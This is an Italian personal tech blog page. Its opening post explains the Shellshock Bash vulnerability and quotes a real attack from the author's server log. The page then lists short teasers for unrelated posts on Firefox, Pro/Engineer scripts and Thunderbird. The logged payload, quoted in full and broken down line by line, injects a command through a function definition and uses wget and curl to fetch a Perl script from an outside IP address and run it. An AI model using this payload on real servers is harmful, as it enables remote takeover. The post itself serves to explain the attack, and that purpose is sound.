Shellshock: Bug nella Bash

La famigerata Shellshock , anche conosciuta come Bashdoor , è una famiglia di problemi di sicurezza presente nell’ampiamente utilizzata Shell UNIX Bash dove, il primo buco rilevato, è stato evidenziato a partire dal 24 Settembre 2014.

Numerosi servizi internet, come ad esempio i Web Servers, utilizzano Bash per elaborare alcune richieste e, nel caso in cui sia utilizzata una versione vulnerabile, consentono ad un potenziale malintenzionato di eseguire codice malevolo in remoto.

Si tratta di un problema estremamente grave perché consente ad un cracker di ottenere l’accesso e i privilegi di amministratore sul sistema attaccato, con tutti i problemi che ne conseguono.

Il bug in questione consente di eseguire un comando di sistema nel momento in cui lo si va a concatenare alla fine di una definizione di funzione salvata all’interno di una variabile d’ambiente.

Di questo gravissimo problema ho letto alcuni mesi fa e solo oggi (14/01/2015) un sito che amministro – e di cui controllo frequentemente i logs – risulta aver subito un attacco, eccolo:

"GET /cgi-bin/test.cgi HTTP/1.0" 404 940 "-" "() { :;}; /bin/bash -c \"cd /var/tmp ; wget http://185.56.60.83/ip.cgi ; curl -O http://185.56.60.83/ip.cgi;perl ip.cgi;perl /var/tmp/ip.cgi\""

L’attaccante – che, nel caso specifico, risulta provenire dall’Olanda – cerca si sfruttare la presenza del file “test.cgi” e di passargli la definizione di una funzione vuota prima:

() { :;};

e, successivamente, gli accoda questo comando:

/bin/bash -c \"cd /var/tmp ; wget http://185.56.60.83/ip.cgi ; curl -O http://185.56.60.83/ip.cgi;perl ip.cgi;perl /var/tmp/ip.cgi\"

che possiamo – per chiarezza – scomporre in più righe:

cd /var/tmp
wget http://185.56.60.83/ip.cgi
curl -O http://185.56.60.83/ip.cgi
perl ip.cgi
perl /var/tmp/ip.cgi

dove viene:

  1. Resa corrente la cartella “/var/tmp”.
  2. Scaricato un CGI (“ip.cgi”) sia con il metodo “WGET” che “CURL” (uno dei due andrà !)
  3. Lanciata l’esecuzione tramite PERL .

Nel momento in cui scrivo non ho la possibilità di scaricarmi il CGI per analizzarne il contenuto, ma intendo farlo appena possibile.

E’ immaginabile che il suo scopo sia tutt’altro che amichevole ma, la cosa che più mi ha incuriosito, è la modalità con la quale sia possibile bucare un web server, veramente inquietante.

Firefox 29: Aprile File Locali ( file:// )

Una premessa: non ho ancora trovato una soluzione che mi consenta di aprire direttamente i files ma, con le cartelle, funziona.

Purtroppo è necessario installare un add-on: caps-fileuri

E’ utile per tutti quelli che hanno una Intranet e gli piace avere la possibilità di aprire Link a File Locali da un Browser aggiornato (come appunto Firefox 29 ).

Se trovo di meglio, ve lo faccio sapere.

Cambiare data alle Foto da Linux

 

In realtà, lo script che ho realizzato, può cambiare data a qualsiasi file ma, lo scopo principale, è quello di modificarla alle foto che, quando – puntualmente – vengono importante, presentano una data sballata.

Leggi tutto “Cambiare data alle Foto da Linux”

Pro/Engineer: Creare file postscript automaticamente delle messe in tavola (DRW)

Dovendo creare il file postscript (che in genere converto poi in PDF, tramite apposito script) delle messe in tavola presenti in una determinata cartella, ho realizzato uno Script Bash (da utilizzare con MSYS ) che automatizza la cosa, andando a creare un file TRAIL per Pro/Engineer.

Leggi tutto “Pro/Engineer: Creare file postscript automaticamente delle messe in tavola (DRW)”

Pro/Engineer: Individuare dove è montato un componente in base al codice dentro gli assembly

Ho realizzato uno Bash Script il cui scopo è quello, fornendo il codice di un componente, individuare in quali assiemi è montato e mostrare le dipendenze degli stessi.

Leggi tutto “Pro/Engineer: Individuare dove è montato un componente in base al codice dentro gli assembly”

Pro/Engineer: Individuare le dipendenze di un file DRW (messa in tavola)

Ho realizzato uno script bash (gli utenti Windows possono utilizzarlo tramite MSYS ) che consente di verificare, per ogni file DRW (le messe in tavola) contenuto nella medesima cartella dove si esegue il comando, se sono presenti tutte le dipendenze che servono per aprirlo (cioè i file PRT e ASM).

Leggi tutto “Pro/Engineer: Individuare le dipendenze di un file DRW (messa in tavola)”

Firefox: Impossibile acquisire Certificato Digitale

Con l’accesso all’area privata del sito aziendale di un Cliente dell’azienda dove lavoro, mi è successo che Firefox si rifiuti di accettare il certificato digitale (autofirmato), fornito dalla stessa, emettendo il messaggio di errore “Questa connessione non è affidabile“, come mostrato in figura:

Leggi tutto “Firefox: Impossibile acquisire Certificato Digitale”

Mozilla Thunderbird: Verificare opzione “Ricevuta di ritorno” nella Posta Inviata

Mi hanno posto la seguente domanda: “E’ possibile sapere se, nella posta inviata, è stata messa l’opzione Ricevuta di ritorno ?

La domanda nasce da una diatriba tra mittente e destinatario dove, quest’ultimo, sostiene di aver richiesto la conferma di lettura e, il primo, afferma di non aver ricevuto tale richiesta.

Leggi tutto “Mozilla Thunderbird: Verificare opzione “Ricevuta di ritorno” nella Posta Inviata”

SolidWorks 2012: Presentazione presso SolidWorld

Sono stato, con un mio collega, alla presentazione della release di SolidWorks, famoso software 3D dedicato alla Progettazione Meccanica, prodotto dalla Dassault Systèmes.

Leggi tutto “SolidWorks 2012: Presentazione presso SolidWorld”